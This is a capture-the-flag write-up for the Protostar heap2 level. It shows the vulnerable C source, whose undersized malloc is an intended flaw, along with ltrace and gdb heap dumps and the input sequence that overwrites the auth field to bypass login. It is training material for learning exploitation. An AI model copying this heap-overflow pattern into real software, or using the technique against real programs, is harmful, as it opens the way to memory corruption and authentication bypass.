Protostar – heap2

Information

This level examines what can happen when heap pointers are stale.
This level is completed when you see the “you have logged in already!” message

This level is at /opt/protostar/bin/heap2

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

Solution

While reading the code, I was a little lost at the begining until I saw this :

auth = malloc(sizeof(auth));

This doesn’t allocate enough space for an auth structure but only 4 bytes (auth is a pointer).
If the variable ‘service’ is allocated in the heap just after ‘auth’, when the program calls auth->auth, it is in the heap allocation of ‘service’.
Let’s see :

$ ltrace ./heap2
__libc_start_main(0x8048934, 1, 0xbffff814, 0x804acc0, 0x804acb0 
printf("[ auth = %p, service = %p ]\n", (nil), (nil)[ auth = (nil), service = (nil) ]
)                           = 34
fgets(auth AAAA
"auth AAAA\n", 128, 0xb7fd8420)                                           = 0xbffff6e0
strncmp("auth AAAA\n", "auth ", 5)                                              = 0
sysconf(30, 0, 0xb7fe1b28, 1, 0)                                                = 4096
sbrk(4096)                                                                      = 0x0804c000
sbrk(0)                                                                         = 0x0804d000
memset(0x0804c008, '\000', 4)                                                   = 0x0804c008
strlen("AAAA\n")                                                                = 5
strcpy(0x0804c008, "AAAA\n")                                                    = 0x0804c008
strncmp("auth AAAA\n", "reset", 5)                                              = -17
strncmp("auth AAAA\n", "service", 6)                                            = -18
strncmp("auth AAAA\n", "login", 5)                                              = -11
printf("[ auth = %p, service = %p ]\n", 0x804c008, (nil)[ auth = 0x804c008, service = (nil) ]
)                       = 38
fgets(serviceBBBB
"serviceBBBB\n", 128, 0xb7fd8420)                                         = 0xbffff6e0
strncmp("serviceBBBB\n", "auth ", 5)                                            = 18
strncmp("serviceBBBB\n", "reset", 5)                                            = 1
strncmp("serviceBBBB\n", "service", 6)                                          = 0
strdup("BBBB\n")                                                                = 0x0804c018
strncmp("serviceBBBB\n", "login", 5)                                            = 7
printf("[ auth = %p, service = %p ]\n", 0x804c008, 0x804c018[ auth = 0x804c008, service = 0x804c018 ]
)                   = 42
fgets("serviceBBBB\n", 128, 0xb7fd8420)                                         = NULL
+++ exited (status 0) +++

‘auth’ is located at 0x804c008 and ‘service’ is located at 0x804c018. Here is the status of the heap :

(gdb) x/20x 0x0804c000
0x804c000:	0x00000000	0x00000011	0x41414141	0x0000000a
0x804c010:	0x00000000	0x00000011	0x42424242	0x0000000a
0x804c020:	0x00000000	0x00000fe1	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000

Heap header of ‘auth’
Should be auth->name
Should be auth->auth

Here, it’s clear that if ‘service’ is 17 bytes long, ‘auth->auth’ is overwrited :

(gdb) x/20x 0x0804c000
0x804c000:	0x00000000	0x00000011	0x41414141	0x0000000a
0x804c010:	0x00000000	0x00000019	0x42424242	0x42424242
0x804c020:	0x42424242	0x42424242	0x00000a42	0x00000fd9
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000

Here is the proof :

$ ./heap2
[ auth = (nil), service = (nil) ]
auth AAAA
[ auth = 0x804c008, service = (nil) ]
serviceBBBBBBBBBBBBBBBBB
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

That’s it, heap2 is done.


Laisser un commentaire